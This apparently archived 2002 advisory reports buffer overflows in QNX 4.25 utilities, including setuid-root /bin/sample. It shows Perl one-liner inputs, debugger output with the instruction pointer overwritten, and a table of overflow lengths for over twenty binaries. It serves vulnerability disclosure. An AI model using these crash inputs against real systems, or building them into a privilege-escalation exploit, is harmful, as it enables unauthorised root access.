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madcr: QnX 4.25 - multiples bof in suid/no suid files
From: Egor Egorov <madrats () mail ru>
Date: 12 Jun 2002 12:10:46 -0000



/bin/sample
----------------//------------------------------
# cd /bin
# ls -l sample
-rwsrwxr-x  1 root      root          20639 Jan 19  1996 sample
# sample `perl -e 'print "A" x 280'`
Profile based upon 2000 samples/second.

//1/bin/sample terminated (SIGSEGV) at 0005:00000041
%1  672  Memory fault      sample $(perl -e 'print "A" x 280')

# wd sample 'perl -e print "A" x 280'`
ebp: 41414141
eip: 00000041

# wd sample 'perl -e 'print "A" x 280, "B"'`
ebp: 41414141
eip: 00004241
----------------//------------------------------


/bin/ex
----------------//------------------------------
# wd ex `perl -e 'print "AAA" x 420, "good", "CCC" x 280'`
ebp: 00000041
eip: 646f6f67 - doog
----------------//------------------------------

 file       bytes for bof

/bin/du       - 558
/bin/find     - 799
/bin/lex      - 1673
/bin/mkdir    - 517
/bin/rm       - 351
/bin/serserv  - 224
/bin/tcpserv  - 146
/bin/termdef  - 729
/bin/time     - 2489
/bin/unzip    - 299
/bin/use      - 1964
/bin/wcc      - 138
/bin/wcc386   - 137
/bin/wd       -
/bin/wdisasm  - 135
/bin/which    - 304
/bin/wlib     - 256
/bin/wlink    - 10244
/bin/wpp      - 256
/bin/wpp386   - 256
/bin/wprof    - 141
/bin/write    - 157
/bin/wstrip   - 817



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  • madcr: QnX 4.25 - multiples bof in suid/no suid files Egor Egorov (Jun 12)
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